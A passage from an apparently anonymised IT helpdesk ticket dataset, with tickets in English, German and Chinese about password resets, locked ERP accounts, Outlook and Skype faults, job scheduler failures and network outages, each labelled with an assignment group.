, is assigned to Assignment group: GRP\_13.Ticket with Short description: windows and erp account locked, Description: windows and erp account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call / loud noise / gso, Description: blank call / loud noise / gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype is "not responding" when trying to do an on line meeting (screen share)., Description: attachment shows skype version, etc.
i am not able to join any skype meeting at this time due to this problem.
dvzgjsom ynpxqjlf
company usa facility
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset help from password\_management\_tool password manager., Description: password reset help from password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open hr\_engineering\_tool for hours--controller access, Description:
received from: umzcxfah.aoshpjiu@gmail.com
umzcxfah aoshpjiu
plant controller, us\_plant
umzcxfah.aoshpjiu@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: compatibility view settings, Description: \_x000D\_
\_x000D\_
received from: tdkfuobm.qrtmaxos@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i keep receiving this error and have to close out of internet explorer each time. when i re-open ie the website/database needs to be re-added to the compatibility view settings page. this has happened to several other people in the ip department.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_357d7.2a03b820]\_x000D\_
\_x000D\_
[cid:image002.jpg@01SID\_357d7.2a03b820]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request for erp prtgghj4k & SID\_67, Description: unable to login to hr\_tool erp systems., is assigned to Assignment group: GRP\_0.Ticket with Short description: archivierung von e-mails, Description:
received from: anivdcor.rbmfhiox@gmail.com
[cid:image003.jpg@01SID\_35804.fbc60480]
hallo it,
ich archiviere meine mails in einer ordnerstruktur.
leider finde ich immer wieder ordner, die plÃ¶tzlich keinen inhalt mehr haben
was lÃ¤uft hier falsch?
gruÃŸ
achim
anivdcor rbmfhiox
sales manager
sales germany
anivdcor.rbmfhiox@gmail.com<mailto:anivdcor.rbmfhiox@gmail.com>
company deutschland gmbh
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq
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[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm online issue , Description:
summary:urgent help required crm issue crm ribbon is grey / not active same issue with home tab and track and set regarding options, is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm, Description: when i turn on crm, it comes on as my name as a manager. i get all the opportunities from all over the world. i want it to just have my crm information there., is assigned to Assignment group: GRP\_0.Ticket with Short description: ms excel analysis addin: disabled, Description: ms excel analysis addin: disabled, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not populate the tranpertation zone in crm, when setting up a new customer., Description: see attachments. other csr were having the same issues on friday.9/23/16, is assigned to Assignment group: GRP\_15.Ticket with Short description: blocked from expense report, Description: \_x000D\_
\_x000D\_
received from: proygkjt.mwetuhqf@gmail.com\_x000D\_
\_x000D\_
it,\_x000D\_
\_x000D\_
i was in the process of entering my expenses when i lost internet connection. now when trying to complete my expenses i receive the error below. please unblock.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_357d1.d3717ec0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_585 failed in job\_scheduler at: 09/26/2016 08:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_585 failed in job\_scheduler at: 09/26/2016 08:37:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: allow to edit contact info and upate back to erp., Description: allow to edit contact info and update back to erp. this is w.r.t npr project go-live , is assigned to Assignment group: GRP\_20.Ticket with Short description: outlook cannot connect to the server, Description: outlook cannot connect to the server, is assigned to Assignment group: GRP\_3.Ticket with Short description: engineering\_tool uploading issue, Description: global it service request (help@company.com)\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: no audio in dell 7350 2 in 1 tablet, Description: no audio in dell 7350 2 in 1 tablet, is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze message, Description: hallo liebe kollegen,\_x000D\_
\_x000D\_
warum habe ich diese e-mail bekommen?\_x000D\_
hat jemand etwas modifiziert in meine e-mail postfach?\_x000D\_
\_x000D\_
Ã¼dvÃ¶zlettel / mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp accout had been locked, Description: \_x000D\_
\_x000D\_
received from: qyidkvap.cxnfdjpk@gmail.com\_x000D\_
\_x000D\_
hello,sir\_x000D\_
\_x000D\_
my erp accout had been locked. can you help me? and i try to log in password\_management\_tool passoword system to unlock all the accout, also can to log in.\_x000D\_
[cid:\_foxmail.1@59ee6164-8282-a2ed-f56b-2bad30f2874e]\_x000D\_
\_x000D\_
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for qekdgaim wagshrzl on erp / production / erp, Description: SID\_34 erp production system - please reset my password i cannot log in and need to perform the goods receipt on po , is assigned to Assignment group: GRP\_0.Ticket with Short description: need to configure printers, Description: need to configure printers, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for Å‚ukasz kutnik on other / telephony\_software - interaction desktop, Description: hey team,\_x000D\_
\_x000D\_
can you please reset my password for the telephony\_software - interaction desktop?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: open connection for erp - oss #321013, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_7
enter user id of user having the issue: erp incident 321013/2016 (oss message)
provide access the same as this other user: mutoralkv
please open http and all necessary connections for erp and update in the oss message #321013, is assigned to Assignment group: GRP\_2.Ticket with Short description: help, Description: \_x000D\_
\_x000D\_
received from: lanigpkq.qzhakunx@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
this morning i installed intel updates but while processing this my computer has blocked and i can not start windows.i can start it with safe mod.could you please connect my pc with team viewer\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_33.Ticket with Short description: collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: xaertwdh.kcsagvpy@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
please advise? i can not accesss collaboration\_platform, it gives me this message.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_357f8.38677c00]\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_16.Ticket with Short description: urgent: usb ports not working again., Description: usb ports not working again after replacement. updated chipset drivers. issue persists. user wants the motherbankrd to be replaced.
phone: , is assigned to Assignment group: GRP\_3.Ticket with Short description: locked out again of erp prtgghj4k and SID\_67, Description: locked out again of erp prtgghj4k and SID\_67
this keeps happening way too often
telephone:, is assigned to Assignment group: GRP\_2.Ticket with Short description: jartnine m called to give a status update, Description: jartnine m called to give a status update, is assigned to Assignment group: GRP\_0.Ticket with Short description: getting error while accessing it support review forms - pl refer above attachment , Description: pl refer attachment , is assigned to Assignment group: GRP\_19.Ticket with Short description: receiving error with open order book nightly report, Description: receiving error with open order book nightly report - please see attached screen shot, is assigned to Assignment group: GRP\_13.Ticket with Short description: SID\_1 access, Description:
received from: amrthruta.kadgdyam@company.com
hello team,
i have recently joined esg group as a programdnty engineer. request you to provide me access for SID\_1 log in erp.
please do the needful.
[cid:image001.jpg@01SID\_35813.0ecd3360]
, is assigned to Assignment group: GRP\_2.Ticket with Short description: network printer â€“ wy85 issue â€“ no print out , Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
network printer â€“ wy85 issue â€“ no print out\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: error message during document release, Description:
received from: phqwmniy.kjucgqom@gmail.com
hello,
while releasing word file, drawings , route card showing error message server offline and document not get printed:
[cid:image001.jpg@01SID\_35811.740c9ce0]
required help in resolving the issue,
[cid:image002.png@01SID\_35811.740c9ce0]
p please do not print this email unless it is absolutely necessary. spread environmental awareness.
confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately., is assigned to Assignment group: GRP\_0.Ticket with Short description: purchasing menue in shopping cart not working correct, Description: see attached screenshot, is assigned to Assignment group: GRP\_29.Ticket with Short description: application engineer database, Description: \_x000D\_
\_x000D\_
received from: bmudkpie.qolrvbip@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
we are using the application database, but i can't access it, see below.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_357f1.9ea5f840]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_28.Ticket with Short description: wifi & lan not working in office , Description: \_x000D\_
\_x000D\_
received from: okycwstu.tvrnbgfs@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
there is a problem in wifi connection since last three days. also most of the lan connections are also not working.\_x000D\_
\_x000D\_
pl. check and resolve the issue aerp.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: peer certificate rejected by chainverifier error ('godaddy certificate bundles - g2' certificate issue), Description: installation of 'godaddy certificate bundles - g2' (gd\_bundle-g2.crt) is not proper in SID\_25. we are getting peer certificate rejected by chainverifier error and not able to deploy and uacyltoe hxgaycze the functionality in dev. please refer ticket\_no1537958 for earlier installation., is assigned to Assignment group: GRP\_14.Ticket with Short description: forgot password., Description: forgot password., is assigned to Assignment group: GRP\_0.Ticket with Short description: private address fields are enabled on employee master crm ui, Description: disable private address fields, new & edit buttons on employee master crm ui, is assigned to Assignment group: GRP\_15.Ticket with Short description: cancel duplicate miro entry po#5019256094 (5321), Description: \_x000D\_
\_x000D\_
received from: neokfwiy.ufriscym@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
please help to reverse it , the screen shot is as below:\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_3581b.e2456cf0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: reinstall company barcode fÃ¼r ewew8323753 \zlqfptjx xnklbfua, Description: reinstall company barcode fÃ¼r ewew8323753 \zlqfptjx xnklbfua, is assigned to Assignment group: GRP\_24.Ticket with Short description: kein email eingang von der adresse p.eggert@karl-roll.de. , Description: es kann von dieser adresse nichts empfangen oder gesendet werden., is assigned to Assignment group: GRP\_0.Ticket with Short description: wrong data in crm (wrong data signed to contact person during complaint creation), Description: we have opened complaint 7611184115: contact person is bnmdslzh qyinrmaf. we see in crm signed 255948 number to contact person bnmdslzh qyinrmaf. when we opened this number we could see data other customet (mail and number). in complaint form are printed wrong data - please see attached, is assigned to Assignment group: GRP\_15.Ticket with Short description: erp SID\_34 password reset request., Description: erp SID\_34 password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: reference to ticket\_no1553927 / chg0034452, Description: \_x000D\_
\_x000D\_
received from: ytwmgpbk.cpawsihk@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
could you please re-open this ticket. still the request is not resolved.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_3181 failed in job\_scheduler at: 09/26/2016 05:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3181 failed in job\_scheduler at: 09/26/2016 05:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: query : change the screen saver., Description: query : change the screen saver.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: work center to be updated in pm order confirmation screen , Description: hi \_x000D\_
\_x000D\_
pm work center to be updated to pm order operations., is assigned to Assignment group: GRP\_20.Ticket with Short description: vpn on pc edmlx000001 can't work (urgent), Description: efyumrls gqjcbufx (finance and administration manager) is working with a new pc win 10, not company imaged.\_x000D\_
everything is working, except symantec endpoint protection. i can't install it. it goes in error.\_x000D\_
as antivirus, she has windows defender.\_x000D\_
unfortunately when she run the vpn, a message appear and it seems that she can't run the vpn due tu an antivirus not updated.\_x000D\_
\_x000D\_
she will be out of office for a few days this week, and she really needs the vpn connection.\_x000D\_
\_x000D\_
could you please check the issue ?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meeting option is not showing up in calendar., Description: skype meeting option is not showing up in calendar., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue, Description: \_x000D\_
\_x000D\_
received from: nxlzpgfr.rlqowmyt@gmail.com\_x000D\_
\_x000D\_
i am unable to open the mails please refer the screen shot\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account , Description: \_x000D\_
\_x000D\_
received from: zuxcfonv.nyhpkrbe@gmail.com\_x000D\_
\_x000D\_
gso,\_x000D\_
\_x000D\_
please kindly unlock and reset password for erp SID\_34 account zhhtyangq ,, is assigned to Assignment group: GRP\_0.Ticket with Short description: launch adobe acrobat , Description:
name:melerowicz
language:
browser:microsoft internet explorer
email:ubiqcrvy.mxjcnqfs@gmail.com
customer number:
telephone:+
summary:hi it-team,
i would like to open a pdf document but i got the message: before proceeding you must first launch adobe acrobat and accept the end user licence agreement. my user: melthryerj could you please help , is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage poncacity-schlumhdyhter-dmvpn-rtr located at usa is down. since 2:29 am on o9/26/16, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_\_2:29 am \_\_on o9/26/16\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: account unlock - erp SID\_34, Description: unlocked account using password\_management\_tool
from: wgpimkle kijhcwur [mailto:wgpimkle.kijhcwur@gmail.com]
sent: monday, september 26, 2016 12:42 pm
to: nwfodmhc exurcwkm <nwfodmhc.exurcwkm@gmail.com>
subject: re: please unlock an id (sugisdfy)
importance: high
sorry again and again
i could unlock through password\_management\_tool.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password , Description: \_x000D\_
\_x000D\_
received from: woxrljif.qymrszdk@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
i changed my password last week now the laptop won't let me in.\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: problems with approval in universal work list, Description:
received from: dkinobsv.wymgzcrh@gmail.com
dear it,
please help!
i need to approve this but cannot
the following expense report has been submitted for your approval:
personnel no.: 111319uy36 )
expense report no.: 2711125712
start date: 19.07.2016 00:00:00
end date: 23.08.2016 00:00:00
total costs: usd 2.215,29
reimbursement amount: usd 1.783,12
to review this expense report in full, please log into your universal worklist on manager self-service.
i get this message
[cid:image001.jpg@01SID\_357dc.d57e64c0]
--
mit freundlichen grÃ¼ÃŸen/ best , is assigned to Assignment group: GRP\_2.Ticket with Short description: lean tracker not working, Description: lean tracker not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to process in ecs , Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist as we unable to process dn 9169308075 in ecs.
ecs system prompted below message.
hi sujitra
kindly note that we unable to process dn 9169308075 in ecs and most probably this order will hold for today shipping, pending for solution.
[cid:image001.png@01SID\_3580e.9c668960]
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
( asia regional distribution centre)
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_13.Ticket with Short description: dir 71913895 nxd 000 00 ac locked by user, Description: dir 71913895 nxd 000 00 ac can't be opened for edit as it seems to be locked in the database (by wagfrtneh). dir is within status ac, all main originals seem to be checked in. so please unlock in the database., is assigned to Assignment group: GRP\_14.Ticket with Short description: support fÃ¼r rechner messvorrichtung \jionmpsf wnkpzcmv, Description: support fÃ¼r rechner messvorrichtung \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: the purchasing doesn't work , Description: there is no option in purchasing , check status is missed , is assigned to Assignment group: GRP\_29.Ticket with Short description: rechner we\_wu160 funktioniert nicht ., Description: rechner we\_wu160 funktioniert nicht ., is assigned to Assignment group: GRP\_24.Ticket with Short description: rechner fÃ¼r viotto funktioniert nicht, Description: rechner fÃ¼r viotto funktioniert nicht, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/26/2016 03:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/26/2016 03:30:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: node ldiw8511217sf located at usa village is down since 9/25/2016 2:44 pm, Description: node ldiw8511217sf located at usa village is down since 9/25/2016 2:44 pm, is assigned to Assignment group: GRP\_8.Ticket with Short description: hana report, Description:
received from: bujiesrg.zopcrshl@gmail.com
dear all,
my hana report can't be refresh , can you help to check ?
[cid:image001.png@01SID\_35806.dd83d2c0]
bujiesrg zopcrshl
specialist accounting and reporting
bujiesrg.zopcrshl@gmail.com<mailto:bujiesrg.zopcrshl@gmail.com>
, is assigned to Assignment group: GRP\_9.Ticket with Short description: truview application is down, Description: truview application is down. we are not getting the alarms and also i saw today that the application is also down. , is assigned to Assignment group: GRP\_4.Ticket with Short description: looks like the tzornbldf network account is locked it needs to be unlocked aerp, Description: the tzornbldf account is used to in 90% of the dashbankrds in reporting\_tool. this will affect 100's of sales employees/managers/directors as they will not be able to access their dashbankrds., is assigned to Assignment group: GRP\_14.Ticket with Short description: locked me out of erp , Description:
i tried to change my password by password\_management\_tool password manager, i got an error message, but the password seems changed but i don't remember the entered code.
iewnguxv bufwxeiy has reset the windows password, by i can't enter erp.
can you please reset me in password\_management\_tool passwprd manager.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue to create skype meeting request on outlook, Description: when i try to create skype meeting on outlook, there is no skype meeting button on outlook so i couldn't crete meeting request. please fix it. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 09/26/2016 02:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 09/26/2016 02:28:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1332 failed in job\_scheduler at: 09/26/2016 02:26:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1332 failed in job\_scheduler at: 09/26/2016 02:26:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: tickets for jost berfkting classified as "usa" / usa users need properly classified in ticketing\_tool., Description: \_x000D\_
\_x000D\_
received from: mynfoicj.riuvxdas@gmail.com\_x000D\_
\_x000D\_
gso,\_x000D\_
\_x000D\_
could you please verify why ticketing\_tool tickets for dxyvfuhr uyfqgomx are classified as usa tickets? he is not usa, but ceo in europe of company. i checked two other users from switzerland, were the message did not display as it is correct. i actually thought the location would determine if users are from usa or not. can you advise what the issue with his user is? it needs correction.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_36.Ticket with Short description: the unit prices of order #35990512 , item ! ~ 8 cannot be revised, Description: we need to revise the pirces for order#35990512 to zno, 7800 for all the items.\_x000D\_
i changed for item #9 ~ #11, but cannot change for #1 ~ #8, please check and help, , is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to login to erp SID\_34 account, Description: unable to login to erp SID\_34 account, is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery note creation request, Description: \_x000D\_
\_x000D\_
received from: fbvpcytz.nokypgvx@gmail.com\_x000D\_
\_x000D\_
hello it team,\_x000D\_
\_x000D\_
could you please create delivery note for below order?\_x000D\_
we got the error message hence we cannot issue the delivery noteâ€¦\_x000D\_
\_x000D\_
so#35042381 / line item10\_x000D\_
mm#3366140\_x000D\_
order qty :1pc\_x000D\_
delivery plant : plant\_317\_x000D\_
\_x000D\_
we can see available stock via md04 screen.\_x000D\_
[cid:image002.jpg@01SID\_35805.b2550301]\_x000D\_
\_x000D\_
but we cannot create delivery note for this item. we got below error message when we manually tried to issue the dnâ€¦(plant\_327n)\_x000D\_
[cid:image004.jpg@01SID\_35805.b2550301]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: purchasing issue-pr can't release, Description: document number 21745726\_x000D\_
relevant document number (pr#) can't release with "error in process". no detail log or explanation.\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: outlook - keine rÃ¼ckmeldung, Description: outlook\_x000D\_
i'm not able to log-on to outlook thiw morning.\_x000D\_
i restarted my computer several times without any effort.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: excel is blank when open excel file , Description: excel is blank when open excel file , is assigned to Assignment group: GRP\_31.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlookæ— æ³•ç™»é™† ,ä¸€ç›´æ˜¾ç¤ºæ­£åœ¨å¯åŠ¨ã€‚, Description: outlookæ— æ³•ç™»é™† ,ä¸€ç›´æ˜¾ç¤ºæ­£åœ¨å¯åŠ¨ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: no accounting documents for #0159146993 & #9047969100, Description: there are no accounting documents for billings #0159146993 & #0158070211 , please help!, is assigned to Assignment group: GRP\_10.Ticket with Short description: excel is blank when open the excel file , Description: excel is blank when open the excel file , is assigned to Assignment group: GRP\_0.Ticket with Short description: ç™¾åº¦æœç´¢åŽ-æ–°ç½‘é¡µæ‰“ä¸å¼€, Description:
received from: ktghvuwr.uwtakcmj@gmail.com
hello it
ç™¾åº¦æœç´¢åŽ-æ–°ç½‘é¡µæ‰“ä¸å¼€ï¼Œå¦‚é™„ä»¶æ‰€ç¤ºï¼Œè¯·å¸®å¿™å¤„ç†æˆ–æä¾›ä¸‹è§£å†³æ–¹æ¡ˆã€‚
è°¢è°¢ï¼
ktghvuwr uwtakcmj
sr. application engineer
optimization team
ktghvuwr.uwtakcmj@gmail.com<mailto:ktghvuwr.uwtakcmj@gmail.com>
, is assigned to Assignment group: GRP\_31.Ticket with Short description: user uthagtpgc - outlook issue, Description:
received from: rgtarthi.erjgypa@company.com
hello help.
geetha's outlook is not working at all. system is very slow.
she has logged off and on thrice since morning.
pls look into the attached files for the error message & resolve at the earliest.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: anzeigen der bestellÃ¼bersicht im erp netweaver portal nicht mÃ¶glich, Description: im erp netweaver portal ist es nicht mehr mÃ¶glich unter dem paramdntyeter "feinnavigation" die bestellÃ¼bersicht aufzurufen.\_x000D\_
siehe angefÃ¼gte screenshots, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp t-code error, Description: \_x000D\_
\_x000D\_
received from: ohdrnswl.rezuibdt@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please find below error.\_x000D\_
\_x000D\_
kindly help to resolve this issue on urgent basis.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_357e1.3c351d40]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_2.Ticket with Short description: erpç³»ç»Ÿç™»å½•åŽï¼Œé‡‡è´­é¡µé¢æ— æ³•æ˜¾ç¤º"åŽç»­å‡­è¯"ï¼Œè¯·å¤„ç†, Description: erpç³»ç»Ÿç™»å½•åŽï¼Œé‡‡è´­é¡µé¢æ— æ³•æ˜¾ç¤º"åŽç»­å‡­è¯"ï¼Œè¯·å¤„ç†, is assigned to Assignment group: GRP\_30.Ticket with Short description: error message during route card release, Description:
received from: phqwmniy.kjucgqom@gmail.com
hello,
while route card release error message appearing and route card not get printed:
[cid:image003.jpg@01SID\_357da.882f8250]
required help in resolving the issue,
[cid:image004.png@01SID\_357da.882f8250]
p please do not print this email unless it is absolutely necessary. spread environmental awareness.
confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately., is assigned to Assignment group: GRP\_45.Ticket with Short description: network outage, Description: network outage
unable to connect both lan and wi fi
india location
contact no:-
, is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_2110 failed in job\_scheduler at: 09/26/2016 00:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2110 failed in job\_scheduler at: 09/26/2016 00:05:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp printing issue, Description: from: sridthshar herytur
sent: monday, september 26, 2016 9:23 am
to: erpbasis-support
cc: cedroapx blsktzgq; fdmaluyo tvecikxn; mvfnbces urbckxna1; nawkpdtx gwcvmbhn
subject: erp printing issue
hi all,
again same problem repeats on erp printing for plant. below printer error issue.
radyhthika : kindly raise the request for same and concern team.
best , is assigned to Assignment group: GRP\_14.Ticket with Short description: network outage: usa vpn router is down since 08:02 pm et on 09/25. no backup, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_08:02 pm et on 09/25\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: attendance\_tool password not working, Description: \_x000D\_
\_x000D\_
received from: rsvminjz.tcpqvbae@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
my attendance\_tool password is not working. kindly reset the same & give me the new password.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: regarding cell phone model., Description: from: gdhyrts muggftyali
sent: monday, september 26, 2016 8:06 am
